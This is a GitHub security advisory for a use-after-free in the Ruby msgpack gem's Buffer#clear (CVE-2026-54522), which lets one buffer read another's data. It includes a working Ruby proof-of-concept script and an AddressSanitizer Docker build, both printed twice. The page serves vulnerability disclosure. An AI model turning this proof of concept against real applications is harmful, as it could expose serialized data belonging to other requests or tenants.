GHSA-4MRV-5P47-P938
Vulnerability from github – Published: 2026-07-30 16:33 – Updated: 2026-07-30 16:33Summary
MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).
Details
msgpack_buffer_clear()→_msgpack_buffer_shift_chunk()(ext/msgpack/buffer.c:151,:128) destroys chunks (_msgpack_buffer_chunk_destroy,:58, returns the page viamsgpack_rmem_free) but resets onlytail_buffer_end/read_buffer, leavingrmem_last/rmem_end/rmem_ownerpointing into the freed page.- Next
Buffer#write→_msgpack_buffer_chunk_malloc()reuse branch (:363) returnsb->rmem_last, a pointer into the already-freed page. - A second buffer's first write calls
msgpack_rmem_alloc()and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (
ext/msgpack/rmem.h) recycles pages with a slab bitmask, notfree(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.
PoC
Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):
set -e
WORK="$(mktemp -d)"; cd "$WORK"
# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY
# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
cd msgpack-1.8.1/ext/msgpack && \
MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .
# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'
Expected output:
b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true
Impact
Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.1"
},
"package": {
"ecosystem": "RubyGems",
"name": "msgpack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54522"
],
"database_specific": {
"cwe_ids": [
"CWE-416"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T16:33:12Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer\u0027s rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer\u0027s bytes \u2014 a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` \u2192 `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` \u2192 `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b-\u003ermem_last`, a pointer into the already-freed page.\n- A second buffer\u0027s first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool \u2192 the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat \u003e poc.rb \u003c\u003c\u0027RUBY\u0027\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write(\u0027M\u0027 * 1000); b1.write(\u0027A\u0027 * 200); b1.write(\u0027N\u0027 * 1000)\nb1.clear\nb1.write(\u0027C\u0027 * 128)\nsecret = (\u0027s\u0027 * 200) + (\u0027ABCD\u0027 * 32) + (\u0027t\u0027 * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor = b2.read_all\nputs \u0027b1_first64:\u0027 + leaked.byteslice(0, 64)\nputs \u0027b2_donor64:\u0027 + donor.byteslice(200, 64)\nputs \u0027leaked_is_C:\u0027 + (leaked == \u0027C\u0027 * 128).to_s\nputs \u0027cross_buffer_match:\u0027 + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat \u003e Dockerfile \u003c\u003c\u0027DOCKER\u0027\nFROM ruby:3.3-bookworm\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends build-essential libasan8 \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 \u0026\u0026 gem unpack msgpack-1.8.1.gem \u0026\u0026 \\\n cd msgpack-1.8.1/ext/msgpack \u0026\u0026 \\\n MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags=\u0027-O0 -g -fsanitize=address -fno-omit-frame-pointer\u0027 --with-ldflags=\u0027-fsanitize=address\u0027 \u0026\u0026 \\\n make -j\"$(nproc)\" \u0026\u0026 cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n bash -c \u0027export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb\u0027\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another\u0027s memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low\u2013Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-4mrv-5p47-p938",
"modified": "2026-07-30T16:33:12Z",
"published": "2026-07-30T16:33:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
},
{
"type": "PACKAGE",
"url": "https://github.com/msgpack/msgpack-ruby"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.